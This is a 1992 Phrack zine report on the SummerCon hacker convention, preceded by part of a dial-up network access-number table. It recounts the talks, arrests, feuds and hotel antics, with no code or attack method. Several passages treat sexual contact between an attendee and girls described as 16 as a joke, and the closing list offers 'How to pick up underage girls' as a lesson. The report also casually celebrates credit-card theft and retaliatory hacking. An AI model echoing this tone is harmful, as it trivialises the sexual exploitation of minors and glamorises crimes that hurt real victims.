708/790‑4955 Y 13123 Knoxville TN USA MED B B C 615/694‑0156 Y 13132 Alexandria/Fairfax VA USA HIGH B B C 703/352‑3136 Y 13132 Arlington/Fairfax VA USA HIGH B B C 703/352‑3136 Y 13132 Fairfax VA USA HIGH B B C 703/352‑3136 Y 13132 Washington/Fairfax DC USA HIGH B B C 703/352‑3136 Y 13132 Bethesda/Fairfax MD USA HIGH B B C 703/352‑3136 Y 13133 Alexandria/Fairfax VA USA HIGH B B C 703/352‑3136 Y 13133 Arlington/Fairfax VA USA HIGH B B C 703/352‑3136 Y 13133 Fairfax VA USA HIGH B B C 703/352‑3136 Y 13133 Washington/Fairfax DC USA HIGH B B C 703/352‑3136 Y 13133 Bethesda/Fairfax MD USA HIGH B B C 703/352‑3136 Y 13134 Baton Rouge LA USA MED B B C 504/291‑0967 Y 13154 Brookfield WI USA HIGH B B C 414/785‑0630 Y 13154 Milwaukee/Brookfield WI USA HIGH B B C 414/785‑0630 Y 13156 Alexandria LA USA LOW B B C 318/445‑1800 Y 13164 Sioux City IA USA LOW B B C 712/255‑3834 Y 13171 Upland CA USA LOW B B C 714/985‑1153 Y 13172 Gulfport MS USA LOW B B C 601/864‑9441 Y 13173 Lawrence KS USA LOW B B C 913/843‑4870 Y 13177 Wilmington NC USA LOW B B C 919/392‑7913 Y 13213 Edmunton AB CAN C C C 403/484‑4404 Y 13214 Indianapolis IN USA HIGH B B C 317/632‑6408 Y 13215 Petersburg VA USA LOW B B C 804/861‑1788 Y 13216 Vineland NJ USA LOW B B C 609/692‑8943 Y 13224 Frankfurt FRG E1 C C C (69)507‑6736 Y 13226 Newark NJ USA HIGH B B C 201/824‑3044 Y 13226 Elizabeth/Newark NJ USA HIGH B B C 201/824‑3044 Y 13226 Jersey City/Newark NJ USA HIGH B B C 201/824‑3044 Y 13226 Union/Newark NJ USA HIGH B B C 201/824‑3044 Y 13227 Newark NJ USA HIGH B B C 201/824‑3044 Y 13227 Elizabeth/Newark NJ USA HIGH B B C 201/824‑3044 Y 13227 Jersey City/Newark NJ USA HIGH B B C 201/824‑3044 Y 13227 Union/Newark NJ USA HIGH B B C 201/824‑3044 Y 13230 Miami FL USA HIGH B B C 305/599‑2900 Y 13231 Hempstead NY USA MED B B C 516/485‑7422 Y 13231 Mineola/Hempstead NY USA MED B B C 516/485‑7422 Y 13233 New York NY USA HIGH B B C 212/809‑9660 Y 13234 New York NY USA HIGH B B C 212/809‑9660 Y 13235 New York NY USA HIGH B B C 212/809‑9660 Y 13236 New York NY USA HIGH B B C 212/809‑9660 Y 13240 Tampa FL USA HIGH B B C 813/933‑6210 Y 13242 Morristown NJ USA LOW B B C 201/539‑1222 Y 13244 Pueblo CO USA LOW B B C 719/543‑9712 Y 13245 Norristown PA USA MED B B C 215/666‑9190 Y 13246 Salt Lake City UT USA HIGH B B C 801/533‑8152 Y 13247 Baton Rouge LA USA MED B B C 504/291‑0967 Y 13251 Newport Beach CA USA HIGH B B C 714/852‑8141 Y 13251 Anaheim/Newprt Beach CA USA HIGH B B C 714/852‑8141 Y 13251 Irvine/Newport Beach CA USA HIGH B B C 714/852‑8141 Y 13251 Santa Ana/Newprt Bch CA USA HIGH B B C 714/852‑8141 Y 13252 Newport Beach CA USA HIGH B B C 714/852‑8141 Y 13252 Anaheim/Newprt Beach CA USA HIGH B B C 714/852‑8141 Y 13252 Irvine/Newport Beach CA USA HIGH B B C 714/852‑8141 Y 13252 Santa Ana/Newprt Bch CA USA HIGH B B C 714/852‑8141 Y 13253 Longwood/Orlando FL USA MED B B C 407/841‑0217 Y 13253 Orlando FL USA MED B B C 407/841‑0217 Y 13256 Temple TX USA LOW B B C 817/773‑2545 Y 13273 Downrs Grove/Gln Eln IL USA MED B B C 708/790‑4955 Y 13273 Glen Ellyn IL USA MED B B C 708/790‑4955 Y 13273 Wheaton/Glen Ellyn IL USA MED B B C 708/790‑4955 Y 13300 New Orleans LA USA HIGH B B C 504/525‑2014 Y 13301 New Orleans LA USA HIGH B B C 504/525‑2014 Y 13314 Frederick/Myersville MD USA LOW B B C 301/293‑9504 Y 13314 Hagerstown/Myersvill MD USA LOW B B C 301/293‑9504 Y 13314 Myersville MD USA LOW B B C 301/293‑9504 Y 13334 Toulouse FRA E1 C C C (61) 300291 Y 13341 Hull/Ottawa ON CAN CANH C C C 613/563‑2910 N 13341 Ottawa ON CAN CANH C C C 613/563‑2910 N 13344 Bellingham WA USA LOW B B C 206/671‑7750 Y 13345 Springfield OH USA LOW B B C 513/322‑8855 Y 13346 Kankakee/Bradley IL USA LOW B B C 815/935‑2352 Y 13346 Bradley IL USA LOW B B C 815/935‑2352 Y 13354 Chico CA USA LOW B B C 916/343‑4401 Y 13357 Bryan TX USA LOW B B C 409/823‑1090 Y 13364 Missoula MT USA LOW B B C 406/542‑0472 Y 13365 Pascagoula MS USA LOW B B C 601/769‑0121 Y 13430 Minot ND USA LOW B B C 701/838‑2140 Y 13446 Red Bank NJ USA LOW B B C 908/758‑0337 Y 13446 Eatontown/Red Bank NJ USA LOW B B C 908/758‑0337 Y 13446 Long Branch/Red Bank NJ USA LOW B B C 908/758‑0337 Y 13450 Elmira NY USA LOW B B C 607/737‑9065 Y 13451 Rome ITA E2 B C C (6)8550340 Y 13452 Turin ITA E2 B C C (11)2480125 Y 13524 Fayetteville AR USA LOW B B C 501/442‑0234 Y 13524 Springdale/Fayettevl AR USA LOW B B C 501/442‑0234 Y 13535 Honolulu HI USA MED C 808/528‑5300 Y 13541 Colorado Springs CO USA MED B B C 719/590‑1003 Y 13552 Bakersfield CA USA LOW B B C 805/325‑0371 Y 13553 Harrisburg/Lemoyne PA USA MED B B C 717/975‑9881 Y 13553 Lemoyne PA USA MED B B C 717/975‑9881 Y 13554 Richland WA USA MED B B C 509/375‑3367 Y 13557 Port Arthur TX USA LOW B B C 409/721‑3400 Y 13557 Nederland/Pt. Arthur TX USA LOW B B C 409/721‑3400 Y 13572 Springfield MO USA LOW B B C 417/881‑6225 Y 13573 Austin TX USA HIGH B B C 512/448‑1096 Y 13576 Fresno CA USA LOW B B C 209/442‑4328 Y 13577 Shreveport LA USA LOW B B C 318/688‑5840 Y 13601 Birmingham AL USA HIGH B B C 205/942‑7898 Y 13602 Birmingham AL USA HIGH B B C 205/942‑7898 Y 13603 Louisville KY USA MED B B C 502/499‑9825 Y 13614 Long Beach CA USA MED B B C 310/436‑6033 Y 13614 Norwalk/Long Beach CA USA MED B B C 310/436‑6033 Y 13614 San Pedro/Long Beach CA USA MED B B C 310/436‑6033 Y 13616 Little Rock AR USA MED B B C 501/666‑6886 Y 13617 Philadelphia PA USA HIGH B B C 215/592‑8750 Y 13620 Mobile AL USA MED B B C 205/460‑2515 Y 13623 Akron OH USA MED B B C 216/376‑8330 Y 13624 Toledo OH USA MED B B C 419/255‑7705 Y 13626 Memphis TN USA MED B B C 901/527‑8122 Y 13641 Burton MI USA LOW B B C 313/743‑8350 Y 13643 Madrid ESP E2 C C C (1) 7661900 Y 13645 Lansing MI USA MED B B C 517/484‑5344 Y 13646 Fort Worth TX USA MED B B C 817/332‑9397 Y 13646 Alington/Fort Worth TX USA MED B B C 817/332‑9397 Y 13650 Columbia SC USA MED B B C 803/254‑7563 Y 13651 Columbia SC USA MED B B C 803/254‑7563 Y 13653 Ft. Wayne IN USA LOW B B C 219/422‑2581 Y 13655 Huntsville AL USA MED B B C 205/882‑1519 Y

* Node 4003 is listed for many different countries. It represents the Enhanced Global Connection Service which includes nodes:

2576, 3512, 3513, and 4003.

B=BELL 103/113 (300 bps) or BELL 212A (1200 bps) compatable modems

C=CCITT V.21(300 bps) or CCITT V.22 bis(2400 bps) or CCITT V.32 compatible

SummerCon 1992

==Phrack Inc.==

Volume Four, Issue Forty, File 11 of 14

_______

\ ___ \

\ \ \| ___

\ \ |\ /| |\_ _/||\_ _/|| _

|\__\ \ | |_| | | \/ || \/ || _|

\______\ |_____| |_|\/|_||_|\/|_||___

1 9 9 2

________________________________________

_____________________________________

"Told ya...Should a killed me last year!"

by Knight Lightning & Dispater

Special Thanks: Dr. Williams, Holistic Hacker, Nihil, and The Pope

_ _ _ _ _ _ _ _ _ _ _ __ ___ _______

SummerCon '92

June 26‑28, 1992

Executive International Hotel

"SummerCon... What is it? In many ways, SummerCon is much more than just a convention that attracts America's greatest phreaking and hacking personalities. SummerCon is a state of mind.

Hackers by nature are urged on by a hidden sense of adventure to explore the unknown, to challenge the unchallenged, to reach out and experiment with anything and everything. The realization that we are not alone in our quest sometimes comes as a great gift and the opportunity to meet one's heroes, partners, and idols can be the most awe‑inspiring aspect of the hacker community ‑‑ this is what SummerCon is all about.

On the surface, SummerCon looks like a handful of youths hanging out at a hotel in St. Louis, Missouri. To me, it is more like one of those madcap movies you see on late night Home Box Office or something. No real point or direction, rebels without cause, all in the name of frantic fun and games. The atmosphere surrounding SummerCon is that of a dream world where once a year you can escape to a fantasy where ingenuity is king and you have friends around you at every moment. SummerCon itself may only last a weekend, but the friendships last a lifetime."

‑‑ Knight Lightning, Phrack 28, File 8 (PWN Special on SummerCon '89)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SummerCon! At last, a return to the original idea behind the event. It was great! It was crazy! It was a party! It was everything it should have been and more.

When Taran King, Forest Ranger, and Knight Lightning first conceived the idea of SummerCon in late 1986, they probably never imagined that they would all three still be involved six years later or just how popular their high‑school dream would become.

It seemed as though nothing could top SummerCon '89. It was a great turnout of 23 people, there was a serious conference, there was also sorts of mischief and mayhem, and all in all, everyone had a great time. In 1990, SummerCon coincidentally took place on the same weekend on which the United States government dropped charges on Knight Lightning. The turnout was less than ten people and the conference was anything, but a success.

In 1991, SummerCon tried something new. The theme that year was CyberView and it had a special focus on civil liberties issues. The turnout was average, but something was missing. Finally, in 1992, the spirit of SummerCon was reborn anew.

Setting Up For SummerCon '92

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Setting up SummerCon this year was a tricky situation. Knight Lightning had moved to Washington, D.C., Dispater didn't live in St. Louis, Taran King was working full time, and Forest Ranger was nowhere to be found. Luckily, there was Rambone. With help from Taran King, Rambone set forth to make sure that the hotel accommodations and the conference room arrangements were taken care of and without his help, SummerCon might possibly not have happened.

All sorts of other arrangements had to be made as well. We wanted this year's conference to be very special and so for the first time ever, we decided to embark on the risky enterprise of designing and selling Phrack/SummerCon t‑shirts. Knight Lightning and Dispater worked together on the design work and Dispater took care of the art and manufacturing. For those who haven't seen or heard about these shirts before, a brief description is in order.

________________________________________

Phrack/SummerCon '92 T‑Shirts

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There were only a very limited number of shirts made for the conference and they were sold out. A re‑order was issued, mostly for people who attended the conference (but didn't get a shirt because of the small supply). A few shirts were reserved for people that were unable to attend. Unlike the Legion of Doom, Internet World Tour shirts, Phrack has no plans at this time to sell shirts to the general public. If there is a change in policy, we will let the readers know immediately.

The shirts are standard white, short‑sleeved t‑shirts with no pockets.

Front: On the left breast there is a picture resembling Oliver Wendall Jones (the computer hacker from the comic strip Bloom County). He is swinging his sword while standing at ground zero inside the cross hairs of a rifle. Circling above him are the words, "SummerCon '92" and below him, "June 26‑28 St. Louis, MO."

Back: PHRACK

M a g a z i n e

_______

__________

_______

When You Care Enough

To Indict The Very Best

PHRACK: 1 Secret Service: 0

911's A JOKE!

The information contained herein should not be disclosed to unauthorized persons. It is meant solely for use by authorized employees of the BELLSOUTH Corporation or any of its subsidiaries.

________________________________________

Executive International Hotel... Not A Best Western Anymore?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

All parties concerned decided that we should return to the site where our best conferences had been held, the Executive International Best Western Hotel, but we had a surprise waiting for us when we arrived for the conference. It turned out that the Executive International was no longer a Best Western, in fact they had gone bankrupt. To make matters worse, the bank that foreclosed on the property failed as well ‑‑ in other words, the Executive International was now owned by the United States Government!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SummerCon Begins

~~~~~~~~~~~~~~~~

There was so much going on and there were so many people at the conference, that there is no possible way to give a play‑by‑play of events at SummerCon.

Knight Lightning arrived the Thursday before and Dispater flew in in the wee hours of the morning on Friday. When KL arrived with TK at the hotel around 1 PM, the conference was already in full swing with groups of guys from Texas and Boston congregated outside the hotel wearing Phrack t‑shirts and already trading war stories. Perhaps the biggest surprise was the arrival of Doc Holiday, who no one had been able to contact to invite ‑‑ of course the surprise was more on Erik Bloodaxe than anyone else.

More and more people arrived during the day, and as they did, a strange sensation was shared among the alumni from SummerCon's past. True, Tuc and Lex Luthor weren't here, but outside of that, this was already looking like a reunion of all the people from all the SummerCons that had been before.

Lucifer 666 was running around with Control C, The Disk Jockey was seen cruising the downtown bar scene with Forest Ranger and Tom Brokaw, Erik Bloodaxe and Doc Holiday called some of the girls they had met from the previous year's convention. Everything was happening so fast, it was hard to keep track of, so we didn't try. We just had fun.

About 1/3 of the people at SummerCon went to see "Batman Returns." In light of the trip at the SummerCon of 1989, it seemed like a good idea. Others hung out poolside, roaming the hotel and its adjoining office complex, and still others raided the free buffet at the Radison Hotel down the street.

The Washington, D.C. contingent of SummerCon guests were content to sit in their room most the evening and explore Internet sites in the St. Louis area. Some went trashing, some hit the bars looking for women, and some sat in the room occupied by Restricted Data Transmissions (RDT) for some good information exchange.

Meanwhile, an underage hacker named Pyro (gee that's an original name) was the first to meet the pride and joy of Springfield, Illinois. Both of these young women claimed to be age 16 and Pyro was the first to experience some of their womanhood. One of "girls" was named Dena and she was in the mood for some action as well. Clawing at almost every guy at the hotel, she refused to leave. She finally disappeared into a room and was not heard from again until the next morning.

________________________________________

SummerCon: The Conference

~~~~~~~~~~~~~~~~~~~~~~~~~

The previous evening's activates had taken their toll. When 12 noon came around, most of the hackers weren't even awake yet, let alone prepared for the conference session. The meeting was re‑scheduled to 1 PM, but in the meantime Knight Lightning passed out copies of Security Insider Report (from Interpact), information about InterTek, a ComputerWorld article by Chris 'Erik Bloodaxe' Goggans (this article also appears in PWN 40/1), while Mr. Icom did the same with back issues of Cybertek. Emmanuel Goldstein was busy selling the new black 2600 t‑shirts and passing out back issues of 2600 Magazine. Copies of a recent article about hackers doing computer security from the Boston Business Journal were also to be found compliments of RDT. RDT was also responsible for making this year's SummerCon buttons. Holistic Hacker made some as well. Thanks to all parties concerned for your great work and efforts.

Although it wasn't exactly made available for everyone to take a close look at, Knight Lightning proudly showed off his pre‑release copy of THE HACKER CRACKDOWN by Bruce Sterling. This book, which will be available in hardback to the public on October 15, 1992, looks to be one of the most popular literary works on the world of hackers ever. It focuses on the raids in the Atlanta‑LOD /Phrack/E911 case and Operation Sun Devil. It is believed that Knight Lightning himself appears on the cover of the book.

With the gavel‑like banging of a lineman test set, Knight Lightning formally called the meeting to order at about 1:15 PM. He expressed his appreciation for the massive attendance (there were at least 60 people actually at the SummerCon meeting). Rambone made a quick note about the activities of the previous night as laughter and jokes about the "cyber‑nymphs" erupted from all around the room.

Dispater took the floor for a moment to welcome everyone as well and then expressed his gratitude to the members of RDT for all of their help in producing Phrack issues during the past year. A discussion about who owned the hotel began briefly and then the first conference speaker was called to the floor.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

1. The Gatsby

"I'm sure you're all familiar by now with the media stories of the '1000‑member ring of hackers' that supposedly have been invading the credit bureaus of CBI/ Equifax, but the story isn't true and there is a lot more going on."

Gatsby explained that a hacker named The Prisoner (aka Multiplexor) from Indianapolis (and apparently also to some extent from Long Island) flew to San Diego to see a girl, supposedly on a carded ticket.

While in San Diego, he allegedly broke into computers at Zale's Jewlery store and pulled credit card info from their point‑of‑sales system. After he vacated the rented room he had been staying in, he foolishly left behind the credit card printouts and his former landlord (whom he owed money to) discovered them and called the San Diego Police Department.

Sometime later, Multiplexor was met at his new accommodations at the Sleepy Time Motel in San Diego by the police. The FBI was brought into the case and he was kept at the Marriott Hotel for two weeks, all expenses paid! While under government supervision, Multiplexor logged into several systems, including Scantronics BBS.

During the course of the investigation, a hacker known as The Crypt Keeper came forward to tell what he knew about the hacker underground. He eventually would give the police access to Scantronics BBS logs he had in his possession after using The Gatsby's password to login to the system.

These logs were used by the police to gain search warrants for Scantronics BBS and its now unhappy former sysop, Kludge.

[The full details, police reports, warrants, and an interview with The Crypt keeper appears in Phrack World News 40/1.]

2. Agent Steal

Agent Steal gave a very informative talk about his dealings with Kevin Poulson, know to some as Dark Dante. AS related some of the experiences and adventures that the two of them had been through several years ago and talked about how Kevin used to break into central offices on a daily bases. Poulsen even had special equipment set up in his apartment to prevent him from being traced. Poulsen of course was the subject of a federal indictment and appeared on an episode of Unsolved Mysteries. He has since been taken into custody and is awaiting trial.

Agent Steal himself had spent a short time in prison on some bogus charges that were brought against him to elicit his help in prosecuting Poulsen. He refused to assist, but he eventually was released anyway. He said that he was looking forward to something different now, but he may have been referring to the Ozzy Osbourne concert later that night in St. Louis. Agent Steal is working on a book about his adventures with Poulsen called "Data Thief" and he expects it to be published in the near future.

3. Emmanuel Goldstein, 2600 Magazine, Editor

"Many people mistrust the government and big business, and they want to know how to fight back."

Emmanuel Goldstein spoke about the First Amendment and why 2600 Magazine has been able to exist and grow over the years despite the events that haunted Phrack in 1990. During 2600's eight years in existence, the magazine has never once been directly harassed by the government. The main reason he believes that Phrack was hit and 2600 left alone is because 2600 is a printed (hardcopy) publication.

However, 2600 is in need of good writers and will print anything, leaked or sent to them, it doesn't matter. 2600 has never been sued, although they are often threatened with legal action [See PWN 40/3 for the latest threats against 2600 from Bellcore]. 2600 has a subscription list of 1500 and a newstand of 3000.

He also spoke about some of their press releases that were issued in order to alert people about insecure systems, but that the information is never acted upon until something happens. People always like to blame the magazine for giving the details on how to do something (such as opening Fed Ex drop boxes), but never take action to correct the problems the magazine exposes.

A few people had questions for Emmanuel. For example, he was asked, "How do you morally justify hacking and the type of information published in 2600?" He responded by pointing out that 2600 only prints information about security flaws which need to be addressed and fixed.

Emmanuel was also asked if there was any fallout from the Simplex lock hacking article which described how to hack Simplex locks with out any tools and in less than 20 minutes (often less than 3 minutes). Given that Simplex locks are widely used at universities and Federal Express drop boxes, one would expect some sort of action. Emmanuel replied that he was surprised that there hadn't been much of a response or any action taken against 2600 because of the article. However, based on what many readers have told him, it seems that nobody has even changed the default combinations!

4. Control C [Legion of Doom]

Control C has been a hacker surrounded by a lot of controversy over the years, from his days with the Legion of Doom through his employment and termination from Michigan Bell security.

He addressed the circumstances that led to his finding work with Michigan Bell. In 1987, Control C had started to log into Michigan Bell computers almost on a daily basis for the purpose of becoming better acquainted with C programming. During one 4 hour session, Michigan Bell Security traced his call back to Chicago (where he had been in school at the time). The next day, ^C had moved back to Detroit and he received a call from some gentlemen who wanted to invite him to lunch.

When he showed up, he was greeted by Michigan Bell Security personnel and the country sheriff's department. The result was a job where his main responsibility was to find flaws in their computer security by any means necessary. Over the years, Control C found well over 100 different holes and other weaknesses in their systems.

As time went on and key people left and were replaced by staff with more conservative attitudes, a new vice president (and former police officer) came in and decided it was no longer fashionable to employ a hacker. Control C was informed that he must leave despite the need for his services.

Shortly after Control C agreed to depart, the Secret Service became involved. They wanted to bring charges on ^C for the original break‑ins at Michigan Bell that led to his employment. It didn't matter that Michigan Bell had signed documents that they would not bring charges. It didn't prevent the Secret Service from coming after him in 1990 (right during the same time as the E911 Phrack case and LOD‑Atlanta cases began).

Control C was requested to take a polygraph. However, the timing was not good and ^C's lawyer request a new time. Now more than a year and a half since the request was made, ^C has not heard back from the Secret Service. Today ^C has moved on to a new vocation.

5. Signal Surfer

Signal Surfer voiced his concerns about the bad reputation hackers have in the computer industry when in reality, most people in the industry are hackers in the first place. He expressed an interest in trying to get people together to work on changing the stereotype of the modern hacker and helping hackers find legitimate jobs in the computer field.

6. Predat0r, TAP Magazine, Editor; Blitzkrieg BBS, Sysop

Predat0r gave a short update on the current status of TAP and tried to explain why he hadn't produced an issue in over a year. Legal problems (something about being accused of stealing a laptop computer) that were taking up his time and resources were at fault. However, he says that those issues have been resolved and that TAP will start publishing again with issue #106 sometime this fall.

He gave his promise that he would not just fold the magazine and rip everyone off who had sent him money.

7. Mr. Icom, Cybertek, Editor

Similar to Predat0r, Mr. Icom expressed his apologies for having been somewhat delinquent in getting new issues of his magazine out. He claimed that issue #7 would be released in the near future.

8. Erik Bloodaxe (Chris Goggans)[Legion of Doom][Comsec Data Security, Inc.]

It was only a year ago at SummerCon '91 that Erik Bloodaxe, Doc Holiday, and Malefactor proudly announced the formation of Comsec. Now, the following year, it seemed that events had come full circle. What had happened to Comsec? Why did it go out of business? What is the deal? That's what everyone wanted to know and what Goggans was prepared to discuss.

One of the factors that contributed to the failure of Comsec was operating costs associated with creating the company in the first place. Unfulfilled promises of investment in the company from people like Kenyon "Malefactor" Shulman and a whisper campaign against them by others in the computer security industry and a criminally negligent press hurt them badly, so much in fact they could not recover.

Goggans continued his tale of corruption and unfair play in the security community. For example, there was an agreement between Goggans and ISPNews about Goggans writing a regular column in their bi‑monthly publication. However, after he submitted his first article, the newly formed editorial board decided against allowing it to be published. They said it was common for the editorial board to not allow sensitive articles in their magazine. But when ISPNews was asked what other contributors had their articles reviewed like this, they could produce no names. It should also be pointed out that among the members of the editorial board is one William J. Cook, formally an assistant United States Attorney in Chicago ‑‑ the same prosecutor who is responsible for the cases against Phrack co‑founder Craig Neidorf (Knight Lightning), Shadow Hawk, Steve Jackson Games, Len Rose, The Mentor, and Chris Goggans himself!

But it didn't end there! Someone on the editorial advisory board (without permission from Goggans) forwarded his article to the head of security for SprintNet. Goggans received a threatening letter from SprintNet that called his article potentially libelous and claimed that it contained inaccuracies and proprietary company information.

But waitasec if the article contains confidential information then how could it be innaccurate? And if it's inaccurate then how could it divulge useful security flaws in their security?

Most recently, Goggans wrote an article for ComputerWorld (see PWN 40/1) about hackers and computer security. It addresses Tymnet and Telenet security issues. He discussed how hackers exploit these networks and how they can be stopped. He read the article aloud in full. It was typical of most security articles ‑‑ detailed, technically rounded, and somewhat dry. There were no big security revelations or tips.

He then went on to read some of the editorial replies of people responding to his article in subsequent issues of ComputerWorld. The audience did not approve of their negative response.

Finally, the discussion turned to the situation with MOD. Goggans talked about the persistent harassment he had been subjected to by Phiber Optik and other members of his alleged New York based organization.

Goggans said that in addition to the usual childish prank calls he would often receive, MOD obtained his credit information including his credit card numbers and posted them on bulletin boards and IRC. They were also responsible for changing his residential home telephone long distance service from U.S. Sprint to AT&T so they could more easily obtain his long distance calling records.

He was not alone ‑‑ other partners at Comsec and Doc Holiday's (Scott Chasin) mother were also harassed. Harassing a hacker is one thing, but going after a man's family and livelihood is clearly stepping beyond the bounds of a hacker's code of ethics. Something had to be done aboutthe problem, so Comsec decided to end MOD's reign of criminal obnoxiousness by any means necessary.

There was a debate as to the proper way to handle this situation. Goggans revealed that he eventually turned to the FBI for assistance, who were surprising helpful. Some people at SummerCon were critical of his admission.

Emmanuel Goldstein was the most outspoken of those who responded. "If we start resorting to asking the FBI to resolve our problems, then that is a worse violation than what MOD did to you. The more appropriate response would be to use the same tricks to get back at them."

Emmanuel also gave an example of what he meant. One day, his office starting receiving lots of calls from people who wanted trips to Europe. It turned out that an answering machine at a travel agency had been left with an outgoing message that told callers to contact both John Maxfield and Emmanuel Goldstein and gave out both their numbers. Maxfield solved the problem by called the feds... 2600 hacked the answering machine and changed the message to something more innocuous.

However clever Emmanuel's ideas might be, Goggans stated that, "legitimate business people cannot resort to illegal means to correct such a situation. We had no other alternatives."

The debate continued for 30 minutes until, eventually, Knight Lightning stepped in, pointed out that this discussion could go on forever, and that it was time to start closing up shop.

9. DrunkFux, HoHoCon, Director

Before the meeting was officially concluded, dFx had a few things to discuss concerning how the guests had been conducting themselves in the hotel and he wanted to relate an experience he had at HoHoCon '91.

"The rowdiness at HoHoCon made last night at SummerCon look like a daycamp."

Drunkfux explained that the managers at the hotel for HoHoCon blamed the conferences guests for all sorts of damage, and threatened to hold dFx financially responsible. The manager even threatened to bill his credit card for the damage. dFx responded by calling his credit card company and they informed him that what the hotel had threatened to do was illegal and they would be more than happy to prosecute the Hilton Hotel if they attempted to bill dFx for such charges.

The Hilton staff claimed that some conference guests set fire to part of a hallway, but refused to show dFx the damage when asked. dFx's attorney (a relative who had gotten involved at this point) asked if any fire alarms had gone off. The reply was no. The attorney then informed the Hilton staff that he would be happy to sue them on behalf of the conference guests for endangering their lives by placing them in accommodations with defective fire alarms. The Hilton staff changed their story.

Another claim against the HoHo'ers was that they had engaged in and allowed underage drinking. The attorney pointed out that the hotel's own bartenders were responsible for serving many of them and if Hilton's claim was true, he would be forced to call the state and have the hotel's liquor license revoked. The Hilton staff changed their story.

This sequence of point/counter‑point repeated itself a few times until all claims were dropped.

A few days later, the two hotel managers who had previously accused dFx of damage went to his house to personally apologize. They gave him coupons for free nights the next time he stays at one of their hotels. dFx recorded the meeting on videotape and he joked around about putting the scene into gifs and distributing it to a BBS near you!

________________________________________

Afterwards

~~~~~~~~~~

After the official meeting, many guests left the hotel to eat, trash, and explore the city. Frosty and some of the other GCMS‑MechWarriors started a game of Hacker (Steve Jackson Games) in the conference room. Many people soon wandered over to Northwest Plaza Mall; where the trouble began.

Rule #4

~~~~~~~

About 10 or more people (including Emmanuel Goldstein, The Conflict, Erik Bloodaxe, Doc Holiday, and Signal Surfer) had entered the Northwest Plaza mall and a couple of them had baseball caps on... backwards.

A few minutes later, they were approached by mall security who told them that wearing their hats backwards was a violation of Rule #4 and was not allowed. Specifically the security guard said, "All clothing must be worn in the way it was meant to be worn." Go figure, aren't hats supposed to be worn on your head? This was more than Emmanuel and the others would take. They marched right into Sears and Emmanuel bought everyone (who didn't already have a hat) a bright red St. Louis Cardinals baseball cap.

Now all of them had their hats on backwards and they started strolling around the mall soon catching the eye of another always‑alert rent‑a‑cop, mall security guard. After telling them to turn their hats around (and dropping his walkie‑talkie in his attempt to call for backup), the security guard was approached by Emmanuel who wanted to discuss this Rule #4.

Another guard mumbled something about how a case on the matter had already gone to the appellate court, but he neglected to mention the outcome and we have been unable to find any details about case.

The security guards (now in full force) told Emmanuel this policy was in fact posted at all entrances and then they threw everyone out of the mall. Emmanuel says that he circled the mall noting that the rule was actually only posted at 2 of the 12 entrances. Another interesting rule was #6, which made it illegal to have a cellular phone, beeper, or any other device capable of making sounds in the mall. Erik Bloodaxe had broken this rule when he had played "Mary Had A Little Lamb" on Signal Surfers cellular phone.

Nightfall

~~~~~~~~~

Towards the late afternoon about half of the Con ventured to the St. Louis waterfront on the Mississippi (Laclede's Landing) where the riverboats, bars and the Arch is found.

Holistic Hacker showed videos in his room including:

"ESS Phun" ‑ A humorous raid of a Bell Central Office

by three hackers.

"Unsolved Mysteries" ‑ The Kevin Poulsen episode. "Rudolph the Heavy‑Metal Reindeer" ‑ No explanation.

"Good Morning America" ‑ See Doc Holiday EAT his own hand! "Now It Can Be Told" ‑ Phiber Optik, Emmanuel Goldstein, and

Knight Lightning on Geraldo.

"SummerCon '89" ‑ Highlights of SummerCon '89. "SummerCon '91" ‑ Highlights of SummerCon '91.

Later in the evening, things just went out of control. Smoke bombs were going off, power outages were occurring, rooms were filling up with trash found in dumpsters at major computer and telecommunications office buildings. Dena was back stalking new prey (and found it).

Agent Steal and DrunkFux went to the Ozzy Osbourne concert while Erik Bloodaxe and Doc Holiday went out with the girls from last year's conference. They didn't make it back to the hotel until the next morning <wink wink>.

Security guards were running around threatening to send people to jail for no specific reason other than being disruptive.

The only serious discussions that night took place in the RDT room.

________________________________________

Sunday

~~~~~~

The guests slowly began waking up just before mandatory checkout time from the hotel. As they gathered in the lobby and outside for last minute discussions and group photos, the group began to slowly dwindle in size. A few had to catch flights right away, a few would be staying until Monday morning, but everyone promised to return next year.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

PWN ^*^ PWN ^*^ PWN { SummerCon '92 } PWN ^*^ PWN ^*^ PWN PWN ^*^ PWN ^*^ PWN { Guest List! } PWN ^*^ PWN ^*^ PWN

Agent Steal Erik Bloodaxe The Not Albatross Father Crime Omega Apollo Phoebus Forest Ranger OPii Aragorn Frosty Phaedrus Black Phoenix Gateway Phantom Phreaker Brian Oblivion The Gatsby The Pope Bucky Golgo 13 Predat0r The Butler Holistic Hacker The Public Coder Decoder Hunter Pyro Colin Junkmaster Rambone The Conflict Just Dave Sarlo Control C Knight Lightning Scooter Count Zero Krynn The Serpent Cray‑Z Phreaker Lord MacDuff Signal Surfer Crimson Death Louis Cypher Slack Master Dark Angel Lucifer 666 Slave Driver Dark Creaper Magic Man Taran King Disk Jockey Minor Threat Tom Brokaw Dispater Mr. Icom Video Vance Doc Holiday Mucho Maas Voyager Dr. Cypher Mudge Weapons Dr. Williams Nat X White Knight Drab Jester Night Ranger Wind Runner Drunkfux Nihil

Emmanuel Goldstein Norris

A total of 73 people and they are what made it worth remembering!

________________________________________

A Few Things We Learned At SummerCon

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By The Pope and Nihil

‑ Don't try to buy beer at stores that have gas pumps.

‑ How correctly wear a baseball hat.

‑ "Playing" cellular phones is illegal.

‑ All mall security officers are imported from Mississippi.

‑ The showers at the Executive Internation only have two temperatures: freeze and scald.

‑ Frosty bought a lifetime supply knee‑high tube socks before they went out of style in the 1970's.

‑ How to pick up underage girls.

‑ Control C should have chosen the alias "No Control C."

‑ After being awake for 43 hours (and drinking for 30), OPii's accent disappears.

